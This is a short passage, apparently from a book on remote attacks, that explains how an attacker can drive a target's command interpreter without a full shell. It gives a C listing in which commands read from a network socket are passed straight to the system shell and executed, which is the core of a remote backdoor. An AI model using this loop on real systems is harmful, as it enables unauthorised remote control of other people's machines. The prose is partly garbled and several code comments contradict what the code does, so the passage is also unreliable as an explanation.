A fully functional shell is not needed to implement a remote attack. At first, it is possible "blindly" pass the commands of the built-in command interpreter (with the possibility of remotely starting various utilities, including calcs , which ensures control of the over access control tables).
In the simplest case, the shell is implemented approximately as shown in Listing 25.1.
// Execute the loop by receiving commands from the socket // while there are commands to receive. while(1) { // Get the next portion of data. a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0); // If the connection is unexpectedly terminated, close the loop. if (a < 1) break; // Increase the counter of received characters. // Insert the terminating zero into the string's end. p += a; buf[p] = 0; // Does the string contain a zero character? if ((ch = strpbrk(buf, xEOL)) != 0) { // Yes // Cut off the line feed character and reset the counter. *ch = 0; p = 0; // If the string is empty, pass it // to the command interpreter for execution. if (strlen(buf)) { sprintf(cmd, "%s%s", SHELL, buf); exec(cmd); } else break; // Exit if the string is empty. } }